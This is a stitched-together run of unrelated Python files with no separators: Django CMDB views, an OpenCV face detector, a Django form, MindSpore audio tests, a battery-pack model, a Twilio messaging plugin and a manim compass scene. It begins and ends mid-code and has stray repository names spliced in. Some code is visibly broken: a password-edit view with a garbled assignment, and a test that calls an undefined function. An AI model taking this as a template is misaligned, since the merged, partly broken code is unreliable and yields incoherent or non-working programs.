render_to_response('skcmdb/dbsource_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def dbsource_add(request): print "data=", request.method temp_name = "skcmdb/cmdb-header.html" if request.method == "POST": obj_form = DbSourceForm(request.POST) if obj_form.is_valid(): obj_form.save() tips = u"增加成功！" display_control = "" else: tips = u"增加失败！" display_control = "" else: display_control = "none" obj_form = DbSourceForm() return render_to_response("skcmdb/dbsource_add.html", locals(), RequestContext(request)) @login_required() @permission_verify() def dbsource_del(request): id = request.GET.get('id', '') if id: DbSource.objects.filter(id=id).delete() return HttpResponse(u'删除成功') @login_required() @permission_verify() def dbsource_edit(request, ids): obj = DbSource.objects.get(id=ids) pwd = obj.password status = 0 if request.method == "POST": form = DbSourceForm(request.POST, instance=obj) if form.is_valid(): if not obj.password: obj.password = form.save() status = 1 # else: # status = 2 else: form = DbSourceForm(instance=obj) return render_to_response("skcmdb/dbsource_edit.html", locals(), RequestContext(request)) @login_required() @permission_verify() def whileip_list(request): temp_name = "skcmdb/cmdb-header.html" obj_info = WhileIp.objects.all() return render_to_response('skcmdb/whileip_list.html', locals(), RequestContext(request)) @login_required() @permission_verify() def whileip_add(request): temp_name = "skcmdb/cmdb-header.html" if request.method == "POST": obj_form = WhileIpForm(request.POST) if obj_form.is_valid(): obj_form.save() tips = u"增加成功！" display_control = "" else: tips = u"增加失败！" display_control = "" else: display_control = "none" obj_form = WhileIpForm() return render_to_response("skcmdb/whileip_add.html", locals(), RequestContext(request)) @login_required() @permission_verify() def whileip_del(request): temp_name = "skcmdb/cmdb-header.html" if request.method == 'POST': obj_items = request.POST.getlist('idc_check', []) print obj_items if obj_items: for n in obj_items: WhileIp.objects.filter(id=n).delete() return HttpResponseRedirect(reverse('whileip_list'), RequestContext(request)) @login_required @permission_verify() def whileip_edit(request, ids): status = 0 obj = get_object(WhileIp, id=ids) if request.method == 'POST': af = WhileIpForm(request.POST, instance=obj) if af.is_valid(): af.save() status = 1 else: status = 2 else: af = WhileIpForm(instance=obj) return render_to_response('skcmdb/whileip_edit.html', locals(), RequestContext(request)) #!/usr/bin/env python3 ################################################################ # Text ################################################################ #pg 314 import json json_string = ''' { "website": [ { "count": 9071, "lastreferrer": "https://something.com", "page": "/downloads.html" }, { "count": 9074, "lastreferrer": "https://somethingelse.com", "page": "/downloads2.html" } ] } ''' # Load json from string website_data = json.loads(json_string) # now you can loop through collection for w in website_data['website']: print(w['count'], w['page']) # Using my preferred method for w in website_data['website']: print('{} {}'.format(w['count'], w['page']))Module 3/07_code/detectors.py #!/usr/bin/env python # -*- coding: utf-8 -*- """A module that contains various detectors""" import cv2 import numpy as np __author__ = "" __license__ = "GNU GPL 3.0 or later" class FaceDetector: """Face Detector This class implements a face detection algorithm using a face cascade and two eye cascades. """ def __init__( self, face_casc='params/haarcascade_frontalface_default.xml', left_eye_casc='params/haarcascade_lefteye_2splits.xml', right_eye_casc='params/haarcascade_righteye_2splits.xml', scale_factor=4): """Initializes cascades The constructor initializes all required cascades. :param face_casc: path to a face cascade :param left_eye_casc: path to a left-eye cascade :param right_eye_casc: path to a right-eye cascade """ # resize images before detection self.scale_factor = scale_factor # load pre-trained cascades self.face_casc = cv2.CascadeClassifier(face_casc) if self.face_casc.empty(): print 'Warning: Could not load face cascade:', face_casc raise SystemExit self.left_eye_casc = cv2.CascadeClassifier(left_eye_casc) if self.left_eye_casc.empty(): print 'Warning: Could not load left eye cascade:', left_eye_casc raise SystemExit self.right_eye_casc = cv2.CascadeClassifier(right_eye_casc) if self.right_eye_casc.empty(): print 'Warning: Could not load right eye cascade:', right_eye_casc raise SystemExit def detect(self, frame): """Performs face detection This method detects faces in an RGB input image. The method returns True upon success (else False), draws the bounding box of the head onto the input image (frame), and extracts the head region (head). :param frame: RGB input image :returns: success, frame, head """ frameCasc = cv2.cvtColor( cv2.resize( frame, (0, 0), fx=1.0 / self.scale_factor, fy=1.0 / self.scale_factor), cv2.COLOR_RGB2GRAY) faces = self.face_casc.detectMultiScale( frameCasc, scaleFactor=1.1, minNeighbors=3, flags=cv2.cv.CV_HAAR_FIND_BIGGEST_OBJECT) * self.scale_factor # if face is found: extract head region from bounding box for (x, y, w, h) in faces: cv2.rectangle(frame, (x, y), (x + w, y + h), (100, 255, 0), 2) head = cv2.cvtColor(frame[y:y + h, x:x + w], cv2.COLOR_RGB2GRAY) return True, frame, head return False, frame, None def align_head(self, head): """Aligns a head region using affine transformations This method preprocesses an extracted head region by rotating and scaling it so that the face appears centered and up-right. The method returns True on success (else False) and the aligned head region (head). Possible reasons for failure are that one or both eye detectors fail, maybe due to poor lighting conditions. :param head: extracted head region :returns: success, head """ height, width = head.shape[:2] # detect left eye left_eye_region = head[0.2*height:0.5*height, 0.1*width:0.5*width] left_eye = self.left_eye_casc.detectMultiScale( left_eye_region, scaleFactor=1.1, minNeighbors=3, flags=cv2.cv.CV_HAAR_FIND_BIGGEST_OBJECT) left_eye_center = None for (xl, yl, wl, hl) in left_eye: # find the center of the detected eye region left_eye_center = np.array([0.1*width + xl + wl / 2, 0.2*height + yl + hl / 2]) break # need only look at first, largest eye # detect right eye right_eye_region = head[0.2*height:0.5*height, 0.5*width:0.9*width] right_eye = self.right_eye_casc.detectMultiScale( right_eye_region, scaleFactor=1.1, minNeighbors=3, flags=cv2.cv.CV_HAAR_FIND_BIGGEST_OBJECT) right_eye_center = None for (xr, yr, wr, hr) in right_eye: # find the center of the detected eye region right_eye_center = np.array([0.5*width + xr + wr / 2, 0.2*height + yr + hr / 2]) break # need only look at first, largest eye # need both eyes in order to align face # else break here and report failure (False) if left_eye_center is None or right_eye_center is None: return False, head # we want the eye to be at 25% of the width, and 20% of the height # resulting image should be square (desired_img_width, # desired_img_height) desired_eye_x = 0.25 desired_eye_y = 0.2 desired_img_width = 200 desired_img_height = desired_img_width # get center point between the two eyes and calculate angle eye_center = (left_eye_center + right_eye_center) / 2 eye_angle_deg = np.arctan2(right_eye_center[1] - left_eye_center[1], right_eye_center[0] - left_eye_center[0]) \ * 180.0 / cv2.cv.CV_PI # scale distance between eyes to desired length eyeSizeScale = (1.0 - desired_eye_x * 2) * desired_img_width / \ np.linalg.norm(right_eye_center - left_eye_center) # get rotation matrix rot_mat = cv2.getRotationMatrix2D(tuple(eye_center), eye_angle_deg, eyeSizeScale) # shift center of the eyes to be centered in the image rot_mat[0, 2] += desired_img_width*0.5 - eye_center[0] rot_mat[1, 2] += desired_eye_y*desired_img_height - eye_center[1] # warp perspective to make eyes aligned on horizontal line and scaled # to right size res = cv2.warpAffine(head, rot_mat, (desired_img_width, desired_img_width)) # return success return True, res from datetime import datetime from django.contrib.auth import get_user_model from validator.models import Dataset User = get_user_model() from django.forms.models import ModelMultipleChoiceField, ModelChoiceIterator from validator.models import Settings import django.forms as forms from validator.models import ValidationRun from validator.models.filter import DataFilter from validator.validation import globals as val_globals class FilterCheckboxSelectMultiple(forms.CheckboxSelectMultiple): """ Hackaround to render the data filters checkboxes with help texts and correct formatting. """ option_template_name = 'widgets/filter_checkbox_option.html' template_name = 'widgets/filter_checkbox_select.html' def create_option(self, name, value, label, selected, index, subindex=None, attrs=None): duper = super(forms.CheckboxSelectMultiple, self).create_option(name, value, label, selected, index, subindex, attrs) if isinstance(self.choices, ModelChoiceIterator): for fil in self.choices.queryset: if fil.id == value: duper['label'] = fil.description duper['help_text'] = fil.help_text break return duper ## See https://simpleisbetterthancomplex.com/article/2017/08/19/how-to-render-django-form-manually.html ## To figure out how to make one dropdown dependent on the selection of another, see: ## https://simpleisbetterthancomplex.com/tutorial/2018/01/29/how-to-implement-dependent-or-chained-dropdown-list-with-django.html class ValidationRunForm(forms.ModelForm): filter_data = forms.BooleanField(initial=True, required=False, label='Filter data') filter_ref = forms.BooleanField(initial=True, required=False, label='Filter reference') data_dataset = forms.ModelChoiceField(queryset=Dataset.objects.filter(is_reference=False), required=True) ref_dataset = forms.ModelChoiceField(queryset=Dataset.objects.filter(is_reference=True), required=True) data_filters = ModelMultipleChoiceField(widget=FilterCheckboxSelectMultiple, queryset=DataFilter.objects.all(), required=False) ref_filters = ModelMultipleChoiceField(widget=FilterCheckboxSelectMultiple, queryset=DataFilter.objects.all(), required=False) # see https://stackoverflow.com/questions/2216974/django-modelform-for-many-to-many-fields/2264722#2264722 # and https://docs.djangoproject.com/en/2.1/ref/forms/fields/#django.forms.ModelMultipleChoiceField class Meta: model = ValidationRun ## specify the fields of the model that should be included in the form: fields = [ 'data_dataset', 'data_version', 'data_variable', 'ref_dataset', 'ref_version', 'ref_variable', 'interval_from', 'interval_to', 'filter_data', 'data_filters', 'filter_ref', 'ref_filters', 'scaling_ref', 'scaling_method', 'name_tag', ] def __init__(self, *args, **kwargs): super(ValidationRunForm, self).__init__(*args, **kwargs) ## Specifiy the fields of the model that are OPTIONAL in the form: self.fields['interval_from'].required = False self.fields['interval_to'].required = False ## give default/initial values to widgets self.fields['interval_from'].initial = datetime(1978, 1, 1).strftime('%Y-%m-%d') self.fields['interval_to'].initial = datetime.now().strftime('%Y-%m-%d') self.fields['data_filters'].initial = DataFilter.objects.get(name='FIL_ALL_VALID_RANGE') self.fields['ref_filters'].initial = DataFilter.objects.get(name='FIL_ALL_VALID_RANGE') self.fields['data_dataset'].initial = Dataset.objects.get(short_name=val_globals.C3S) self.fields['ref_dataset'].initial = Dataset.objects.get(short_name=val_globals.ISMN) def clean(self): cleaned_data = super(ValidationRunForm, self).clean() # this shouldn't be necessary because the values of disabled checkboxes in HTML forms # don't get submitted, but let's err on the side of caution... if not cleaned_data['filter_data']: cleaned_data['data_filters'] = DataFilter.objects.none() if not cleaned_data['filter_ref']: cleaned_data['ref_filters'] = DataFilter.objects.none() return cleaned_data # Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """ Testing Vol op in DE """ import numpy as np import pytest import mindspore.dataset as ds import mindspore.dataset.audio.transforms as c_audio from mindspore import log as logger from mindspore.dataset.audio import utils def count_unequal_element(data_expected, data_me, rtol, atol): """ Precision calculation func """ assert data_expected.shape == data_me.shape total_count = len(data_expected.flatten()) error = np.abs(data_expected - data_me) greater = np.greater(error, atol + np.abs(data_expected) * rtol) loss_count = np.count_nonzero(greater) assert (loss_count / total_count) < rtol, \ "\ndata_expected_std:{0}\ndata_me_error:{1}\nloss:{2}". \ format(data_expected[greater], data_me[greater], error[greater]) def allclose_nparray(data_expected, data_me, rtol, atol, equal_nan=True): """ Precision calculation formula """ if np.any(np.isnan(data_expected)): assert np.allclose(data_me, data_expected, rtol, atol, equal_nan=equal_nan) elif not np.allclose(data_me, data_expected, rtol, atol, equal_nan=equal_nan): count_unequal_element(data_expected, data_me, rtol, atol) def test_func_vol_eager(): """ mindspore eager mode normal testcase:vol op""" logger.info("check vol op output") ndarr_in = np.array([[0.3667, 0.5295, 0.2949, 0.4508, 0.6457, 0.3625, 0.4377, 0.3568], [0.6488, 0.6525, 0.5140, 0.6725, 0.9261, 0.0609, 0.3910, 0.4608], [0.0454, 0.0487, 0.6990, 0.1637, 0.5763, 0.1086, 0.5343, 0.4699], [0.9993, 0.0776, 0.3498, 0.0429, 0.1588, 0.3061, 0.1166, 0.3716], [0.7625, 0.2410, 0.8888, 0.5027, 0.0913, 0.2520, 0.5625, 0.9873]]).astype(np.float32) # cal from benchmark out_expect = np.array([[0.0733, 0.1059, 0.0590, 0.0902, 0.1291, 0.0725, 0.0875, 0.0714], [0.1298, 0.1305, 0.1028, 0.1345, 0.1852, 0.0122, 0.0782, 0.0922], [0.0091, 0.0097, 0.1398, 0.0327, 0.1153, 0.0217, 0.1069, 0.0940], [0.1999, 0.0155, 0.0700, 0.0086, 0.0318, 0.0612, 0.0233, 0.0743], [0.1525, 0.0482, 0.1778, 0.1005, 0.0183, 0.0504, 0.1125, 0.1975]]) op = c_audio.Vol(gain=0.2, gain_type=utils.GainType.AMPLITUDE) out_mindspore = op(ndarr_in) allclose_nparray(out_mindspore, out_expect, 0.0001, 0.0001) ndarr_in = np.array([[[-0.5794799327850342, 0.19526369869709015], [-0.5935744047164917, 0.2948109209537506], [-0.42077431082725525, 0.04923877865076065]], [[0.5497273802757263, -0.22815021872520447], [-0.05891447141766548, -0.16206198930740356], [-1.4782767295837402, -1.3815662860870361]]]).astype(np.float32) # cal from benchmark out_expect = np.array([[[-0.5761537551879883, 0.1941428929567337], [-0.5901673436164856, 0.2931187152862549], [-0.41835910081863403, 0.04895615205168724]], [[0.5465719699859619, -0.22684065997600555], [-0.0585763081908226, -0.16113176941871643], [-1.0, -1.0]]]) op = c_audio.Vol(gain=-0.05, gain_type=utils.GainType.DB) out_mindspore = op(ndarr_in) allclose_nparray(out_mindspore, out_expect, 0.0001, 0.0001) ndarr_in = np.array([[[0.09491927176713943, 0.11639882624149323, -0.1725238710641861, -0.18556903302669525], [-0.7140364646911621, 1.6223102807998657, 1.6710518598556519, 0.6019048094749451]], [[-0.8635917901992798, -0.31538113951683044, -0.2209240198135376, 1.3067045211791992], [-2.0922982692718506, 0.6822009682655334, 0.20066820085048676, 0.006392406765371561]]]) # cal from benchmark out_expect = np.array([[[0.042449187487363815, 0.05205513536930084, -0.07715501636266708, -0.08298899233341217], [-0.31932681798934937, 0.7255191802978516, 0.7473170757293701, 0.2691799998283386]], [[-0.38620999455451965, -0.14104272425174713, -0.09880022704601288, 0.5843760371208191], [-0.935704231262207, 0.30508953332901, 0.0897415429353714, 0.0028587712440639734]]]) op = c_audio.Vol(gain=0.2, gain_type=utils.GainType.POWER) out_mindspore = op(ndarr_in) allclose_nparray(out_mindspore, out_expect, 0.0001, 0.0001) def test_func_vol_pipeline(): """ mindspore pipeline mode normal testcase:vol op""" logger.info("test vol op with gain_type='power'") data = np.array([[[0.7012, 0.2500, 0.0108], [0.3617, 0.6367, 0.6096]]]).astype(np.float32) out_expect = np.array([[1.0000, 0.7906, 0.0342], [1.0000, 1.0000, 1.0000]]) data1 = ds.NumpySlicesDataset(data, column_names=["multi_dimensional_data"]) transforms = [c_audio.Vol(gain=10, gain_type=utils.GainType.POWER)] data1 = data1.map(operations=transforms, input_columns=["multi_dimensional_data"]) for item in data1.create_dict_iterator(num_epochs=1, output_numpy=True): out_put = item["multi_dimensional_data"] allclose_nparray(out_put, out_expect, 0.0001, 0.0001) logger.info("test vol op with gain_type='amplitude' and datatype='float64'") data = np.array([[[0.9342139979247938, 0.613965955965896, 0.5356328030249583, 0.589909976354571], [0.7301220295167696, 0.31194499547960186, 0.3982210622160919, 0.20984374897512215], [0.18619300588033616, 0.9443723899839336, 0.7395507950492876, 0.4904588086175671]]]) data = data.astype(np.float64) out_expect = np.array([[0.18684279918670654, 0.12279318571090699, 0.10712655782699586, 0.1179819941520691], [0.1460244059562683, 0.062388998270034794, 0.07964421510696412, 0.04196875095367432], [0.03723860085010529, 0.1888744831085205, 0.14791015386581421, 0.09809176325798036]]) data1 = ds.NumpySlicesDataset(data, column_names=["multi_dimensional_data"]) transforms = [c_audio.Vol(gain=0.2, gain_type=utils.GainType.AMPLITUDE)] data1 = data1.map(operations=transforms, input_columns=["multi_dimensional_data"]) for item in data1.create_dict_iterator(num_epochs=1, output_numpy=True): out_put = item["multi_dimensional_data"] allclose_nparray(out_put, out_expect, 0.0001, 0.0001) logger.info("test vol op with gain_type='db'") data = np.array([[[0.1302, 0.5908, 0.1225, 0.7044], [0.6405, 0.6540, 0.9908, 0.8605], [0.7023, 0.0115, 0.8790, 0.5806]]]).astype(np.float32) out_expect = np.array([[0.1096, 0.4971, 0.1031, 0.5927], [0.5389, 0.5503, 0.8336, 0.7240], [0.5909, 0.0097, 0.7396, 0.4885]]) data1 = ds.NumpySlicesDataset(data, column_names=["multi_dimensional_data"]) transforms = [c_audio.Vol(gain=-1.5, gain_type=utils.GainType.DB)] data1 = data1.map(operations=transforms, input_columns=["multi_dimensional_data"]) for item in data1.create_dict_iterator(num_epochs=1, output_numpy=True): out_put = item["multi_dimensional_data"] allclose_nparray(out_put, out_expect, 0.0001, 0.0001) def test_vol_invalid_input(): def test_invalid_input(test_name, gain, gain_type, error, error_msg): logger.info("Test Vol with invalid input: {0}".format(test_name)) with pytest.raises(error) as error_info: c_audio.Vol(gain, gain_type) assert error_msg in str(error_info.value) test_invalid_input("invalid gain value when gain_type equals 'power'", -1.5, utils.GainType.POWER, ValueError, "Input gain is not within the required interval of (0, 16777216].") test_invalid_input("invalid gain value when gain_type equals 'amplitude'", -1.5, utils.GainType.AMPLITUDE, ValueError, "Input gain is not within the required interval of [0, 16777216].") test_invalid_input("invalid gain value when gain_type equals 'amplitude'", 1.5, "TEST", TypeError, "Argument gain_type with value TEST is not of type [], but got .") if __name__ == "__main__": test_func_vol_eager() test_func_vol_pipeline() test_vol_invalid_input() """ Use HPPC battery cell data to develop a cell ECM. Configure the cell model to represent a battery pack with 6 cells. Apply a 3C current from a discharge test to the battery pack. Each cell in the battery pack is initialized with a random SOC. Finally, plot the results for each battery cell model which represents each cell in the battery pack. Battery pack where cells are connected in parallel to make a module. The modules are connected in series to make a pack. |== Cell ==| |== Cell ==| Pack ---|== Cell ==|--*--|== Cell ==|--- |== Cell ==| |== Cell ==| """ import matplotlib.pyplot as plt import numpy as np import params from ecm import CellDischargeData from ecm import CellHppcData from ecm import CellEcm from ecm import ThermalModel from ecm import config_ax # Battery cell ECM from battery cell HPPC data # ---------------------------------------------------------------------------- file_hppc = '../data/cell-low-current-hppc-25c-2.csv' data_hppc = CellHppcData(file_hppc) ecm = CellEcm(data_hppc, params) soc = ecm.soc() _, _, _, v_pts, z_pts = ecm.ocv(soc, pts=True) coeffs = ecm.curve_fit_coeff(ecm.func_ttc, 5) rctau = ecm.rctau_ttc(coeffs) # Battery cell discharge data # ---------------------------------------------------------------------------- file_dis = '../data/cell-discharge-bitrode-1c.csv' data_dis = CellDischargeData.process_discharge_only(file_dis) ecm.current = data_dis.current ecm.voltage = data_dis.voltage ecm.time = data_dis.time soc_dis = ecm.soc() ocv_dis = ecm.ocv(soc_dis, vz_pts=(v_pts, z_pts)) vt_dis = ecm.vt(soc_dis, ocv_dis, rctau) # Battery pack calculations # ---------------------------------------------------------------------------- n_parallel = params.n_parallel n_series = params.n_series # initial random state of charge (SOC) for each cell, zi units of [-] zi = np.random.uniform(0.95, 1.00, (n_series, n_parallel)) ocv_cells = np.interp(zi, z_pts[::-1], v_pts[::-1]) r0_cells = rctau[:, 2].mean() * np.ones((n_series, n_parallel)) # current [A] applied to battery pack at 3C discharge rate i_pack = ecm.current * 3 i_cells = np.zeros((len(i_pack), n_series, n_parallel)) for k in range(1, len(i_pack)): v_modules = (np.sum(ocv_cells / r0_cells, axis=1) - i_pack[k]) / np.sum(1 / r0_cells, axis=1) i_cells[k] = ((ocv_cells.T - v_modules).T) / r0_cells i_cells2 = i_cells.transpose(1, 2, 0).reshape(i_cells[0].size, len(i_pack)) n_cells = n_parallel * n_series v_cells = np.zeros((n_cells, len(i_pack))) temp_cells = np.zeros((n_cells, len(i_pack))) tm = ThermalModel(params) for k in range(n_cells): ecm.current = i_cells2[k] soc = ecm.soc() ocv = ecm.ocv(soc, vz_pts=(v_pts, z_pts)) vt = ecm.vt(soc, ocv, rctau) v_cells[k] = vt icell = i_cells2[k] _, temp_cell = tm.calc_q_temp(i=icell, ocv=ocv, time=data_dis.time, ti=297, vt=vt) temp_cells[k] = temp_cell # Print # ---------------------------------------------------------------------------- # currents for each cell in a module should sum to total discharge current print(f'i_pack = {i_pack[-1]:.2f}') print(f'i_sum0 = {i_cells[-1][0].sum():.2f}') print(f'i_sum1 = {i_cells[-1][1].sum():.2f}') # Plot # ---------------------------------------------------------------------------- fig, ax = plt.subplots(tight_layout=True) ax.plot(data_dis.time, data_dis.voltage, color='C3', marker='.', label='data') ax.plot(data_dis.time, vt_dis, label='ecm') config_ax(ax, xylabels=('Time [s]', 'Voltage [V]'), loc='best') fig, (ax1, ax2) = plt.subplots(1, 2, tight_layout=True) ax1.plot(data_dis.time, i_pack, label='data') config_ax(ax1, xylabels=('Time [s]', 'Current [A]'), loc='best') for k in range(n_cells): ax2.plot(data_dis.time, i_cells2[k], label=f'cell {k+1}') config_ax(ax2, xylabels=('Time [s]', ''), loc='best') fig, ax = plt.subplots(tight_layout=True) for k in range(n_cells): ax.plot(data_dis.time, v_cells[k], label=f'cell {k+1}') config_ax(ax, xylabels=('Time [s]', 'Voltage [V]'), loc='best') fig, ax = plt.subplots(tight_layout=True) for k in range(n_cells): ax.plot(data_dis.time, temp_cells[k], label=f'cell {k+1}') config_ax(ax, xylabels=('Time [s]', 'Temperature [K]'), loc='best') plt.show() sklearn/simple.py #!/usr/bin/env python # -*- coding: utf-8 -*- from sklearn.ensemble import RandomForestClassifier clf = RandomForestClassifier(random_state=0) # 2 samples, 3 features X = [[ 1, 2, 3], [11, 12, 13]] # classes of each sample y = [0, 1] clf.fit(X, y) # predict classes of the training data print("Predicted classes of training data:") print(clf.predict(X)) print("Predicted classes of fresh data:") # predict classes of new data print(clf.predict([ [14, 15, 16], [4, 5, 6]])) 1-10 #!/usr/bin/env python3 def test_sat(): # # [<<< table of contents](index.html) # # --- # # Constraint satisfier # ==================== # # # from bruhat.render.sat import Variable, Solver, System x = Variable('x') y = Variable('y') z = Variable('z') items = [ x+y >= 1., x+z == 5, y >= 3. ] solver = Solver(items) result = solver.solve() print(result) system = System() v = system.get_var() u = system.get_var() w = system.get_var() system.add(v+u+w == 3.) system.solve() print(system[v] + system[u] + system[w]) if __name__ == "__main__": test_variable() # Copyright (c) LinkedIn Corporation. All rights reserved. Licensed under the BSD-2 Clause license. # See LICENSE in the project root for license information. from iris.constants import SMS_SUPPORT, CALL_SUPPORT from iris.plugins import find_plugin from iris.custom_import import import_custom_module from twilio.rest import TwilioRestClient from twilio.rest.resources import Connection from iris import db from sqlalchemy.exc import IntegrityError import time import urllib import logging logger = logging.getLogger(__name__) class iris_twilio(object): supports = frozenset([SMS_SUPPORT, CALL_SUPPORT]) def __init__(self, config): self.config = config if 'proxy' in self.config: Connection.set_proxy_info(self.config['proxy']['host'], self.config['proxy']['port'], proxy_rdns=True) self.modes = { SMS_SUPPORT: self.send_sms, CALL_SUPPORT: self.send_call, } self.timeout = config.get('timeout', 10) self.say_endpoint = config.get('say_endpoint', '/api/v0/twilio/calls/say') self.gather_endpoint = config.get('gather_endpoint', '/api/v0/twilio/calls/gather') push_config = config.get('push_notification', {}) self.push_active = push_config.get('activated', False) if self.push_active: self.notifier = import_custom_module('iris.push', push_config['type'])(push_config) def get_twilio_client(self): return TwilioRestClient(self.config['account_sid'], self.config['auth_token'], timeout=self.timeout) def generate_message_text(self, message): content = [] for key in ('subject', 'body'): value = message.get(key) if not isinstance(value, basestring): continue value = value.strip() if value: content.append(value) return '. '.join(content) def initialize_twilio_message_status(self, sid, message_id): session = db.Session() try: session.execute('''INSERT INTO `twilio_delivery_status` (`twilio_sid`, `message_id`) VALUES (:sid, :mid)''', {'sid': sid, 'mid': message_id}) session.commit() except IntegrityError: logger.exception('Failed initializing twilio delivery status row. sid: %s, mid: %s', sid, message_id) session.close() def send_sms(self, message): client = self.get_twilio_client() sender = client.messages.create from_ = self.config['twilio_number'] start = time.time() content = self.generate_message_text(message) status_callback_url = self.config['relay_base_url'] + '/api/v0/twilio/status' result = sender(to=message['destination'], from_=from_, body=content[:480], status_callback=status_callback_url) send_time = time.time() - start try: sid = result.sid except Exception: logger.exception('Failed getting Message SID from Twilio') sid = None message_id = message.get('message_id') if sid and message_id: self.initialize_twilio_message_status(sid, message_id) else: logger.warning('Not initializing twilio SMS status row (mid: %s, sid: %s)', message_id, sid) return send_time def send_call(self, message): plugin = find_plugin(message['application']) if not plugin: raise ValueError('not supported source: %(application)s' % message) client = self.get_twilio_client() sender = client.calls.create from_ = self.config['twilio_number'] status_callback_url = self.config['relay_base_url'] + '/api/v0/twilio/status' content = self.generate_message_text(message) payload = { 'content': content[:480], 'loop': 3, 'source': message['application'], } # If message_id is None or 0, go through says as iris can't handle # phone call response without the id message_id = message.get('message_id') if message_id: payload['message_id'] = message_id payload['instruction'] = plugin.get_phone_menu_text() relay_cb_url = '%s%s?%s' % ( self.config['relay_base_url'], self.gather_endpoint, urllib.urlencode({k: unicode(v).encode('utf-8') for k, v in payload.iteritems()}) ) else: relay_cb_url = '%s%s?%s' % ( self.config['relay_base_url'], self.say_endpoint, urllib.urlencode({k: unicode(v).encode('utf-8') for k, v in payload.iteritems()}) ) start = time.time() result = sender(to=message['destination'], from_=from_, if_machine='Continue', url=relay_cb_url, status_callback=status_callback_url) send_time = time.time() - start try: sid = result.sid except Exception: logger.exception('Failed getting Message SID from Twilio') sid = None if sid and message_id: self.initialize_twilio_message_status(sid, message_id) else: logger.warning('Not initializing twilio call status row (mid: %s, sid: %s)', message_id, sid) return send_time def send(self, message, customizations=None): if self.push_active: self.notifier.send_push(message) return self.modes[message['mode']](message) def register_to(bot): def subject(bot, msg, match): if msg['type'] == 'chat': msg.reply('sorry! i can only change the subject for mucs!').send() return True bot.change_subject(match.group(1), msg['from'].bare) return True bot.respond('set subject to (.*)$', subject, help_text='set subject to TEXT: sets the subject to TEXT') cigar666/my_manim_projects from manimlib.imports import * # utils get_angle = lambda c: np.angle(-c) + PI if not c/abs(c) == 1 else 0 convert_angle = lambda a: a if a>=0 else a + TAU class Compass(VGroup): CONFIG = { 'stroke_color': GREY_E, 'fill_color': WHITE, 'stroke_width': 2, 'leg_length': 3, 'leg_width': 0.12, 'r': 0.2, 'depth_test': True, } def __init__(self, span=2.5, **kwargs): VGroup.__init__(self, **kwargs) self.span = span self.create_compass() def create_compass(self): s, l, r, w = self.span, self.leg_length, self.r, self.leg_width self.theta = np.arcsin(s/2/l) self.c = Circle(radius=r, fill_color=self.fill_color, fill_opacity=1, stroke_color=self.stroke_color, stroke_width=self.stroke_width*5) c2 = Circle(radius=r+self.stroke_width*5/100/2, fill_opacity=0, stroke_color=self.fill_color, stroke_width=self.stroke_width) self.leg_1 = Polygon(ORIGIN, l * RIGHT, (l-w*np.sqrt(3)) * RIGHT + w * DOWN, w * DOWN, stroke_width=0, stroke_color=self.fill_color, fill_color=self.stroke_color, fill_opacity=1).rotate(-PI/2-self.theta, about_point=self.c.get_center()) self.leg_2 = Polygon(ORIGIN, l * RIGHT, (l-w*np.sqrt(3)) * RIGHT + w * UP, w * UP, stroke_width=0, stroke_color=self.fill_color, fill_color=self.stroke_color, fill_opacity=1).rotate(-PI/2+self.theta, about_point=self.c.get_center()) # self.leg_1, self.leg_2 = VGroup(leg_01, leg_11), VGroup(leg_02, leg_12, pen_point) h = Line(UP * r, UP * (r + r * 1.8), stroke_color=self.stroke_color, stroke_width=self.stroke_width*6) self.head = VGroup(h, self.c, c2) self.add(self.leg_1, self.leg_2, self.head) self.move_to(ORIGIN) return self def get_niddle_tip(self): return self.leg_1.get_vertices()[1] def get_pen_tip(self): return self.leg_2.get_vertices()[1] def move_niddle_tip_to(self, pos): self.shift(pos-self.get_niddle_tip()) return self def rotate_about_niddle_tip(self, angle=PI/2): self.rotate(angle=angle, about_point=self.get_niddle_tip()) def get_span(self): # return self.span 如果进行了缩放而self.span没变会有问题 return get_norm(self.get_pen_tip() - self.get_niddle_tip()) def set_span(self, s): self.span = s l, r, w = self.leg_length, self.r, self.leg_width theta_new, theta_old = np.arcsin(s/2/l), self.theta sign = np.sign(get_angle(R3_to_complex(self.leg_2.get_vertices()[1] - self.leg_2.get_vertices()[0])) - get_angle(R3_to_complex(self.leg_1.get_vertices()[1] - self.leg_1.get_vertices()[0]))) rotate_angle = 2 * (theta_new - theta_old) * sign self.leg_2.rotate(rotate_angle, about_point=self.c.get_center()) self.theta=theta_new self.head.rotate(rotate_angle/2, about_point=self.c.get_center()) self.rotate_about_niddle_tip(-rotate_angle/2) return self def set_compass(self, center, pen_tip): self.move_niddle_tip_to(center) self.set_span(get_norm(pen_tip - center)) self.rotate_about_niddle_tip(np.angle(R3_to_complex(pen_tip - center)) - np.angle(R3_to_complex(self.get_pen_tip() - center))) return self def set_compass_to_draw_arc(self, arc): return self.set_compass(arc.arc_center, arc.get_start()) def reverse_tip(self): return self.flip(axis=self.head[0].get_end() - self.head[0].get_start(), about_point=self.c.get_center()) class DrawingScene(Scene): CONFIG = { 'compass_config':{ 'stroke_color': GREY_E, 'fill_color': WHITE, 'stroke_width': 2, 'leg_length': 3, 'leg_width': 0.12, 'r': 0.2, 'depth_test': True, }, # to define size and style of the compass 'ruler_config':{ 'width': 10, 'height': 0.8, 'stroke_width': 8, 'stroke_color': GREY_E, 'stroke_opacity': 0.4, 'fill_color': WHITE, 'fill_opacity': 0.5, }, # to define size and style of the ruler 'dot_config':{ 'radius': 0.06, 'color': GREY_E, }, # to define size and color of the dot (e.g., dot in arc/circle's center) 'line_config':{ 'stroke_color': GREY_E, 'stroke_width': 2.5, }, # the default line style drawing by ruler (not the defualt arc style drawing by compass) 'brace_config':{ 'fill_color': GREY_E, 'buff':0.025, }, 'text_config':{ 'size': 0.6 * 5, # 5 times than the actual size here and # will be sacle down to the actual size later # in 'get_length_label' methods. 'font': 'Cambria Math', 'color': GREY_E, }, 'add_ruler': False, # whether to add ruler into the scene at very begining } def setup(self): self.cp = Compass(**self.compass_config) self.ruler = VGroup(Rectangle(**self.ruler_config).set_height(self.ruler_config['height'] - self.ruler_config['stroke_width']/2/100, stretch=True)\ .round_corners(self.ruler_config['height']/8), 